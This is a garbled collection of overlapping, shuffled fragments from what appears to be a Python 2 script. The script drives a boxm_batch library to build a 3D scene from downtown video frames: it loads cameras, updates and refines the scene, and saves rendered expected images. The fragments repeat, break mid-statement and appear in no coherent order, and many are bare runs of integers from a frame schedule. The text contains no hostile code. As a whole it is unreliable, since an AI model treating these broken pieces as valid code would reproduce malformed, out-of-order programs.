[ "19, 162, 119, 134, 159, 15, 59, 63, 123, 130, 65, 69, 86,", "+ \"/\"); for j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status", "+ \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process();", "7, 19, 162, 119, 134, 159, 15, 59, 63, 123, 130, 65, 69,", "x in range(0,len(schedule),1): #for x in range(63,64,1): i = schedule[x]; is_good_frame = 1;", "172, 111, 116, 177, 29, 178, 49, 14, 138, 1, 115, 94, 22,", "9, 96, 89, 40, 152, 41, 58, 51, 175, 125, 155, 42, 10,", "178, 49, 14, 138, 1, 115, 94, 22, 20, 66, 35, 17, 160,", "boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4,", "boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process();", "21, 129, 112, 137, 87, 26, 128, 180, 68, 142, 47, 48, 77,", "expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\");", "50 == 0) or (x == 180)): temp_dir = around_imgs_dir % x; os.mkdir(", "for x in range(0,len(schedule),1): #for x in range(63,64,1): i = schedule[x]; is_good_frame =", "(scene_id, scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames", "expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) % 50 == 0)", "type # string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir =", "129, 112, 137, 87, 26, 128, 180, 68, 142, 47, 48, 77, 150,", "print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0);", "# string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\"", "68, 142, 47, 48, 77, 150, 50, 91, 161, 144, 83, 64, 140,", "dbvalue: def __init__(self, index, type): self.id = index # unsigned integer self.type =", "first 140 images if(x < 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1);", "% j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save", "160, 154, 132, 99, 31, 18, 28, 57, 133, 54, 32, 127, 171,", "i); boxm_batch.run_process(); if(((x+1) % 50 == 0) or (x == 180)): temp_dir =", "107, 164, 38, 78, 33, 56, 100, 24, 43, 120, 27, 113, 84,", "= around_imgs_dir % x; os.mkdir( temp_dir + \"/\"); for j in range(0,nframes,8): print(\"Loading", "print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0);", "75, 173, 34, 145, 135, 163, 6, 11, 104, 3, 121, 52, 102,", "expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name = expected_fname_no_dir %", "b in range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame = 0; print (\"Skiping frame:", "180)): temp_dir = around_imgs_dir % x; os.mkdir( temp_dir + \"/\"); for j in", "49, 63, 76, 113, 118, 127, 148] print \"schedule is \", schedule; #", "# Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0);", "boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type)", "= boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40);", "% 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181; import random;", "157, 136, 70, 23, 92, 8, 73, 172, 111, 116, 177, 29, 178,", "fd = open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd, schedule; fd.close() print schedule; for", "os; import time; boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self, index, type): self.id", "166, 13, 107, 164, 38, 78, 33, 56, 100, 24, 43, 120, 27,", "self.type = type # string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\"", "schedule = [i for i in range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158, 146,", "132, 99, 31, 18, 28, 57, 133, 54, 32, 127, 171, 76, 79,", "140 images if(x < 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process();", "142, 47, 48, 77, 150, 50, 91, 161, 144, 83, 64, 140, 81,", "range(0,len(schedule),1): #for x in range(63,64,1): i = schedule[x]; is_good_frame = 1; for b", "34, 145, 135, 163, 6, 11, 104, 3, 121, 52, 102, 46, 60,", "bad_frames = [34, 49, 63, 76, 113, 118, 127, 148] print \"schedule is", "70, 23, 92, 8, 73, 172, 111, 116, 177, 29, 178, 49, 14,", "173, 34, 145, 135, 163, 6, 11, 104, 3, 121, 52, 102, 46,", "154, 132, 99, 31, 18, 28, 57, 133, 54, 32, 127, 171, 76,", "Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type);", "or (x == 180)): temp_dir = around_imgs_dir % x; os.mkdir( temp_dir + \"/\");", "boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\");", "boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status = status", "56, 100, 24, 43, 120, 27, 113, 84, 151, 165, 147, 71, 131,", "boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type);", "[i for i in range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158, 146, 174, 9,", "29, 178, 49, 14, 138, 1, 115, 94, 22, 20, 66, 35, 17,", "62, 108, 170, 37, 101, 179, 82, 106, 114, 5, 110, 169, 97,", "38, 78, 33, 56, 100, 24, 43, 120, 27, 113, 84, 151, 165,", "range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame = 0; print (\"Skiping frame: \"); print(i);", "Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected", "image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) % 50 == 0) or", "103, 2, 55, 61, 148, 80, 157, 136, 70, 23, 92, 8, 73,", "print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam", "a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene =", "82, 106, 114, 5, 110, 169, 97, 44, 25, 118, 95, 7, 19,", "dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) % 50", "schedule file fd = open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd, schedule; fd.close() print", "j); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate Expected", "mask = dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1)", "Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected =", "113, 84, 151, 165, 147, 71, 131, 109, 124, 141, 105, 21, 129,", "123, 130, 65, 69, 86, 139, 0, 53, 153, 74, 4, 30]; bad_frames", "16, 166, 13, 107, 164, 38, 78, 33, 56, 100, 24, 43, 120,", "boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) % 50 == 0) or (x", "69, 86, 139, 0, 53, 153, 74, 4, 30]; bad_frames = [34, 49,", "schedule; # write schedule file fd = open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd,", "dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0);", "18, 28, 57, 133, 54, 32, 127, 171, 76, 79, 168, 122, 143,", "48, 77, 150, 50, 91, 161, 144, 83, 64, 140, 81, 36, 167,", "= dbvalue(id,type); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280);", "print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam =", "119, 134, 159, 15, 59, 63, 123, 130, 65, 69, 86, 139, 0,", "98, 88, 85, 156, 39, 12, 103, 2, 55, 61, 148, 80, 157,", "120, 27, 113, 84, 151, 165, 147, 71, 131, 109, 124, 141, 105,", "boxm_batch.set_input_string(0,image_fnames % i); status = status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image =", "8, 73, 172, 111, 116, 177, 29, 178, 49, 14, 138, 1, 115,", "(id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name = expected_fname_no_dir % j print(\"saving expected", "22, 20, 66, 35, 17, 160, 154, 132, 99, 31, 18, 28, 57,", "print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process(); (id,type)", "[34, 49, 63, 76, 113, 118, 127, 148] print \"schedule is \", schedule;", "x; os.mkdir( temp_dir + \"/\"); for j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames", "42, 10, 75, 173, 34, 145, 135, 163, 6, 11, 104, 3, 121,", "101, 179, 82, 106, 114, 5, 110, 169, 97, 44, 25, 118, 95,", "= boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status =", "0); boxm_batch.run_process(); #refine only for first 140 images if(x < 140 ): print(\"Refine", "boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for first 140", "30]; bad_frames = [34, 49, 63, 76, 113, 118, 127, 148] print \"schedule", "(id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181; import random; schedule = [i", "# unsigned integer self.type = type # string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\";", "\"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir +", "#boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_string(1,model_dir + \"/all_sample_scene.raw\"); boxm_batch.set_input_unsigned(2,0); boxm_batch.set_input_unsigned(3,1); boxm_batch.run_process();", "139, 0, 53, 153, 74, 4, 30]; bad_frames = [34, 49, 63, 76,", "118, 127, 148] print \"schedule is \", schedule; # write schedule file fd", "93, 126, 67, 16, 166, 13, 107, 164, 38, 78, 33, 56, 100,", "73, 172, 111, 116, 177, 29, 178, 49, 14, 138, 1, 115, 94,", "= type # string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir", "\"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir +", "print \"schedule is \", schedule; # write schedule file fd = open(image_id_fname,\"w\"); print", "14, 138, 1, 115, 94, 22, 20, 66, 35, 17, 160, 154, 132,", "20, 66, 35, 17, 160, 154, 132, 99, 31, 18, 28, 57, 133,", "44, 25, 118, 95, 7, 19, 162, 119, 134, 159, 15, 59, 63,", "146, 174, 9, 96, 89, 40, 152, 41, 58, 51, 175, 125, 155,", "6, 11, 104, 3, 121, 52, 102, 46, 60, 117, 93, 126, 67,", "71, 131, 109, 124, 141, 105, 21, 129, 112, 137, 87, 26, 128,", "102, 46, 60, 117, 93, 126, 67, 16, 166, 13, 107, 164, 38,", "#refine only for first 140 images if(x < 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\");", "72, 45, 98, 88, 85, 156, 39, 12, 103, 2, 55, 61, 148,", "= 1; for b in range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame = 0;", "= [34, 49, 63, 76, 113, 118, 127, 148] print \"schedule is \",", "integer self.type = type # string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir =", "Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir(", "\"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\");", "(bad_frames[b]== i): is_good_frame = 0; print (\"Skiping frame: \"); print(i); break; if(is_good_frame): print(\"Loading", "image = dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0);", "boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self, index, type): self.id = index # unsigned", "for b in range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame = 0; print (\"Skiping", "= \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) =", "86, 139, 0, 53, 153, 74, 4, 30]; bad_frames = [34, 49, 63,", "i); status = status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type); if(status):", "range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158, 146, 174, 9, 96, 89, 40, 152,", "scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames %", "boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280);", "in range(0,len(schedule),1): #for x in range(63,64,1): i = schedule[x]; is_good_frame = 1; for", "len(schedule); print >>fd, schedule; fd.close() print schedule; for x in range(0,len(schedule),1): #for x", "model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir(", "28, 57, 133, 54, 32, 127, 171, 76, 79, 168, 122, 143, 90,", "\", schedule; # write schedule file fd = open(image_id_fname,\"w\"); print >>fd, len(schedule); print", "temp_dir + \"/\"); for j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j);", "= boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181; import random; schedule = [i for", "Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image print(\"Generating Expected Image\");", "23, 92, 8, 73, 172, 111, 116, 177, 29, 178, 49, 14, 138,", "boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type);", "import os; import time; boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self, index, type):", "116, 177, 29, 178, 49, 14, 138, 1, 115, 94, 22, 20, 66,", "boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status = status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image", "155, 42, 10, 75, 173, 34, 145, 135, 163, 6, 11, 104, 3,", "90, 149, 62, 108, 170, 37, 101, 179, 82, 106, 114, 5, 110,", "boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1);", "boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name = expected_fname_no_dir", "109, 124, 141, 105, 21, 129, 112, 137, 87, 26, 128, 180, 68,", "144, 83, 64, 140, 81, 36, 167, 72, 45, 98, 88, 85, 156,", "= [i for i in range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158, 146, 174,", "33, 56, 100, 24, 43, 120, 27, 113, 84, 151, 165, 147, 71,", "print >>fd, schedule; fd.close() print schedule; for x in range(0,len(schedule),1): #for x in", "100, 24, 43, 120, 27, 113, 84, 151, 165, 147, 71, 131, 109,", "Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes", "unsigned integer self.type = type # string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir", "Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status = status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0);", "schedule; for x in range(0,len(schedule),1): #for x in range(63,64,1): i = schedule[x]; is_good_frame", "63, 76, 113, 118, 127, 148] print \"schedule is \", schedule; # write", "54, 32, 127, 171, 76, 79, 168, 122, 143, 90, 149, 62, 108,", "= boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\");", "# write schedule file fd = open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd, schedule;", "\"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir =", "(id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name", "60, 117, 93, 126, 67, 16, 166, 13, 107, 164, 38, 78, 33,", "76, 79, 168, 122, 143, 90, 149, 62, 108, 170, 37, 101, 179,", "99, 31, 18, 28, 57, 133, 54, 32, 127, 171, 76, 79, 168,", "time; boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self, index, type): self.id = index", "if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only", "boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate Expected Image print(\"Generating Expected", "< 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected", "= \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir", "dbvalue(id,type); nframes =181; import random; schedule = [i for i in range(0,nframes)]; random.shuffle(schedule);", "162, 119, 134, 159, 15, 59, 63, 123, 130, 65, 69, 86, 139,", ">>fd, len(schedule); print >>fd, schedule; fd.close() print schedule; for x in range(0,len(schedule),1): #for", "boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene);", "61, 148, 80, 157, 136, 70, 23, 92, 8, 73, 172, 111, 116,", "schedule; fd.close() print schedule; for x in range(0,len(schedule),1): #for x in range(63,64,1): i", "dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status = status & boxm_batch.run_process(); (id,type)", "temp_dir = around_imgs_dir % x; os.mkdir( temp_dir + \"/\"); for j in range(0,nframes,8):", "scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type)", "image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname =", "== 0) or (x == 180)): temp_dir = around_imgs_dir % x; os.mkdir( temp_dir", "boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181; import", "117, 93, 126, 67, 16, 166, 13, 107, 164, 38, 78, 33, 56,", "\"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0);", "frame: \"); print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status =", "1, 115, 94, 22, 20, 66, 35, 17, 160, 154, 132, 99, 31,", "scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam", "140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image", "24, 43, 120, 27, 113, 84, 151, 165, 147, 71, 131, 109, 124,", "print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image print(\"Generating Expected", "image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir", "model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\");", "161, 144, 83, 64, 140, 81, 36, 167, 72, 45, 98, 88, 85,", "range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0);", "if(((x+1) % 50 == 0) or (x == 180)): temp_dir = around_imgs_dir %", "type): self.id = index # unsigned integer self.type = type # string #", "39, 12, 103, 2, 55, 61, 148, 80, 157, 136, 70, 23, 92,", "def __init__(self, index, type): self.id = index # unsigned integer self.type = type", "boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for first 140 images if(x < 140 ):", "147, 71, 131, 109, 124, 141, 105, 21, 129, 112, 137, 